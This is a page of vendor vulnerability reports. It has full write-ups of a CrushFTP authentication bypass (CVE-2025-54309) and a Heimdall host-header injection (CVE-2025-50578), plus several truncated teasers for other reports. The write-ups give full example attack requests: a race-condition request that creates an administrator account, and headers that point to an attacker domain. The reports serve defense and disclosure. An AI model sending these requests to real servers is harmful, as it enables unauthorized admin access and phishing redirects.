This vulnerability is an authentication bypass in CrushFTP. An attacker can bypass authentication and create an administrator account by sending a request containing a crafted AS2-TO header and a separate administrator-account-creation request in a short time interval. A patch for this vulnerability was released on July 18, 2025. Our AIWAF product will address this issue with the “CrushFTP Authentication Bypass” pattern, which is planned for inclusion in the September 2025 pattern update. 1. Overview CrushFTP is a cross-platform file-transfer server that supports FTP, SFTP, HTTP/S, WebDAV, and other protocols. It is used by individuals and organizations of various sizes. This report summarizes analysis of the recent authentication-bypass vulnerability CVE-2025-54309 discovered in the product. Source : https://www.crushftp.com/index.html 2. Attack Type CVE-2025-54309 was disclosed when CrushFTP released a patch in July 2025 and was promptly added to lists of vulnerabilities with observed exploitation. This vulnerability is a race-condition–based authentication bypass that abuses weak AS2 protocol validation logic used by the server. An attacker manipulates the AS2-TO header value in requests sent to the server to \crushadmin, which can cause privilege elevation to an internal administrator account. A single crafted request alone does not enable immediate misuse of elevated privileges. However, if the attacker quickly follows that request with a separate administrator-account-creation request, the two requests can race such that the account-creation operation executes under the elevated (built-in administrator) context — resulting in creation of an administrative account. Example attack request: POST /WebInterface/function/ HTTP/1.1 Host: www.test.com User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive AS2-TO: \crushadmin Content-Type: disposition-notification X-Requested-With: XMLHttpRequest Cookie: CrushAuth=1755628505894_6BIIu82Vk0lI9naqUFa0zdjXuOZgDeQ5; currentAuth=DeQ5 Content-Length: 785 command=setUserItem&data_action=new&serverGroup=MainUsers&username=testing_hacker&user=<?xml version=”1.0″ encoding=”UTF-8″?><user type=”properties”><max_logins_ip>8</max_logins_ip><real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user><root_dir>/</root_dir><user_name>CENSORED</user_name><version>1.0</version><max_logins>0</max_logins><last_logins>03/28/2025 03:00:26 PM</last_logins><password>NEWPASSWORD</password><site>(CONNECT)(WEB_ADMIN)</site><ignore_max_logins>true</ignore_max_logins><max_idle_time>0</max_idle_time><username>CENSORED</username></user>&xmlItem=user&vfs_items=<?xml version=”1.0″ encoding=”UTF-8″?><vfs type=”vector”></vfs>&permissions=<?xml version=”1.0″ encoding=”UTF-8″?><VFS type=”properties”><item name=”/”>(read)(view)(resume)</item></VFS>&c2f=DeQ5 3. Mitigation Measures CrushFTP released a patch for CVE-2025-54309 on July 18, 2025. According to researchers who analyzed the vulnerability, it was actively exploited prior to the patch publication; some analysts have commented that the patch was released late relative to observed abuse. If you operate CrushFTP, confirm your version and upgrade to 10.8.5, 11.3.4_23, or later as applicable. Our AIWAF product will mitigate this vulnerability via the “CrushFTP Authentication Bypass” pattern planned for the September 2025 pattern update. Source : https://www.crushftp.com/crush11wiki/Wiki.jsp?page=CompromiseJuly2025 4. Conclusion CrushFTP is a cross-platform file-transfer server used by individuals, SMBs, and some larger organizations. CVE-2025-54309 has known exploitation cases and active attack attempts; therefore, customers using this product should promptly apply the available updates and move to patched versions. Our Threat Analysis (TA) team continues to monitor vulnerabilities affecting CrushFTP and will respond rapidly to new related findings. 5. References https://nvd.nist.gov/vuln/detail/CVE-2025-54309 https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/

Heimdall Dashboard is a widely used web application hub for personal and small-server environments. A recently discovered vulnerability (CVE-2025-50578) stems from improper handling of HTTP headers in the service, enabling host-header injection and open-redirect attacks. This vulnerability is especially dangerous because it can be exploited by unauthenticated remote attackers and may already have been used in active attacks. All Heimdall users should immediately update to the latest version to mitigate potential data leakage and phishing risks. Our Threat Analysis (TA) team is monitoring Heimdall web application vulnerabilities and will respond promptly to any new product issues. 1. Overview Heimdall helps users centralize links to various services (e.g., Plex, Sonarr, Radarr, Nextcloud) running in Docker containers or on home networks, providing convenient access and management. This report summarizes analysis of CVE-2025-50578, a vulnerability found in the product. Source : https://heimdall.site/   2. Attack Type This vulnerability is caused by insufficient validation of HTTP request headers. An attacker can send a crafted X-Forwarded-Host or Referer header to induce Heimdall to perform malicious behaviors such as: Host Header Injection: When the application constructs internal links, resource URLs, or HTML content, an attacker-controlled domain (e.g., attacker.example) may be referenced. For example, email verification links or post-login redirect URLs generated by Heimdall could include the attacker’s domain. Example crafted request (host header injection): GET /login HTTP/1.1 Host: your-legitimate-heimdall.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close X-Forwarded-Host: malicious-attacker.com Open Redirect: If the application uses the Referer header to return a user to their previous page, an attacker can insert a malicious URL in this header to force a redirect to an arbitrary site. Example crafted request (open redirect): “` GET /settings HTTP/1.1 Host: your-legitimate-heimdall.com User-Agent: Mozilla/5.0 Accept-Language: en-US,en;q=0.5 Connection: close Referer: https://malicious-attacker.com/ 3. Mitigation LinuxServer.io has released a security patch to address CVE-2025-50578. Because this vulnerability is likely being actively exploited, Heimdall users must upgrade immediately. The fixed versions are 2.6.3-ls308 and later. If you use a Heimdall container, update to the latest image (e.g., linuxserver/heimdall:latest) or change any pinned version tags to 2.6.3-ls308 or newer. Our AIWAF product team is currently performing further analysis on this vulnerability and plans to include protections in an upcoming pattern update. 4. Conclusion Heimdall Dashboard is widely used in personal and small-server environments. CVE-2025-50578 arises from improper HTTP header handling and makes Heimdall vulnerable to host-header injection and open-redirect attacks. Because unauthenticated remote attackers can exploit this flaw, and given the possibility of active abuse, all Heimdall users should update to the latest version immediately to prevent data leakage and phishing threats. Our TA team will continue to monitor Heimdall and respond swiftly to any newly discovered vulnerabilities. 5. References https://nvd.nist.gov/vuln/detail/CVE-2025-50578 https://github.com/linuxserver/Heimdall/issues/1451 https://medium.com/@juanfelipeoz.rar/cve-2025-50578-exploiting-host-header-injection-open-redirect-in-heimdall-application-733afceff2ea

This vulnerability is an authentication bypass and insecure deserialization flaw in Microsoft SharePoint Server. An attacker could bypass authentication and execute malicious code by sending a crafted Referer header and serialized XML data to the ToolPane.aspx page. This issue was patched in the July security update for Microsoft SharePoint Server, and our AIWAF product will Read more about [2025.08 Vulnerability Report] Microsoft SharePoint RCE Chain: ToolShell[…]

Gong Da and CKVIP Exploit Kits were web-based attack tools active in East Asia between 2015 and 2018, exploiting browser vulnerabilities and cookie manipulation based on toGMTString() to enable reinfection and data theft when users revisited compromised websites. Malicious landing pages contained the code snippet expires=” + expires.toGMTString(), which was designed to evade detection by mimicking legitimate code, but later became a well-known indicator of compromise (IoC) identified by various security solutions. 1. Overview The Gong Da and CKVIP Exploit Kits were web-based attack Read more about [2025.08 Vulnerability Report] Gong Da & CKVIP Exploit Kit: toGMTString() Abuse Analysis[…]

North Korean-linked hackers conducted espionage operations for several months this spring, targeting diplomatic missions and abusing GitHub to distribute malware and covertly control infected systems. Another North Korean-run organization was also found to have infiltrated more than 320 companies worldwide by impersonating remote IT staff. Spear-phishing emails were sent to diplomatic missions and Ministry of Read more about [2025.08 Vulnerability Report] Kimsuky Group’s Use of GitHub C2 in Targeted Attacks Against Foreign Embassies in South Korea[…]

CVE-2025-49132 is a critical RCE vulnerability that allows information disclosure or code execution within the Pterodactyl Panel server without authentication. Attackers can steal configurations or take control of the server, making prompt patching extremely important. Our AIWAF product is developing detection patterns to address vulnerabilities identified within Pterodactyl and will continue to respond quickly to newly discovered vulnerabilities. 1. Overview Pterodactyl Panel is an open-source game server management panel designed to allow users to easily deploy and manage various game servers in a web-based environment. The panel leverages Docker and container-based architecture to ensure scalability and stability, while providing intuitive UI and fine-grained access control in multi-user environments. In both enterprise and community contexts, it is widely used for multi-game server operations, hosting automation, user management, and resource monitoring. This report summarizes the analysis of the recently identified unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2025-49132), discovered in versions prior to Pterodactyl Panel v1.11.11. Source : https://pterodactyl.io/ 2. Attack Type CVE-2025-49132 is a Remote Code Execution (RCE) vulnerability discovered in versions of Pterodactyl Panel prior to v1.11.11. The root cause of this vulnerability lies in authentication bypass and insufficient Read more about [2025.08 Vulnerability Report] Pterodactyl Panel Unauthenticated Remote Code Execution (CVE-2025-49132)[…]

This vulnerability is an SQL injection and remote code execution (RCE) vulnerability in Fortinet’s FortiWeb Fabric Connector, which allows attackers to exploit SQL injection attacks and malicious code execution by inserting malicious SQL injection syntax into the authentication header and sending requests. This vulnerability has been patched in each version of FortiWeb (7.0.11, 7.2.11, 7.4.8, 7.6.4), and AIWAF addresses it through related SQL injection patterns and its own functionality. 1. Overview Fortinet’s FortiWeb Fabric Connector is a system component that supports integration with FortiWeb web firewalls and other Fortinet products and features. This report summarizes our analysis of CVE-2025-25257, an SQL injection and RCE vulnerability that recently occurred in this component. Source : https://securityaffairs.com/179874/security/patch-immediately-cve-2025-25257-poc-enables-remote-code-execution-on-fortinet-fortiweb.html 2. Attack Type CVE-2025-25257 is an SQL injection vulnerability that exploits the fact that certain functions in Fortinet’s FortiWeb Fabric Connector use user input values as-is. By exploiting the fact that the get_fabric_user_by_token() function, used when attempting to connect to external Fortinet devices via the Fabric API, directly incorporates the Authorization Read more about [2025.07 Vulnerability Report] Fortinet FortiWeb Fabric Connector SQL Injection[…]

CVE-2025-26074 is a high-risk remote code execution (RCE) vulnerability that allows attackers to execute commands directly on the server without authentication, posing a serious security threat. In particular, if the attack code is inserted into the internal system operation workflow, it could lead to long-term backdoors and system control takeover, requiring immediate action. AIWAF products plan to develop patterns to address vulnerabilities occurring within Orkes and will respond swiftly to any vulnerabilities discovered in the future. 1. Overview Read more about [2025.07 Vulnerability Report] Remote Code Execution in Orkes Conductor OSS (CVE-2025-26074)[…]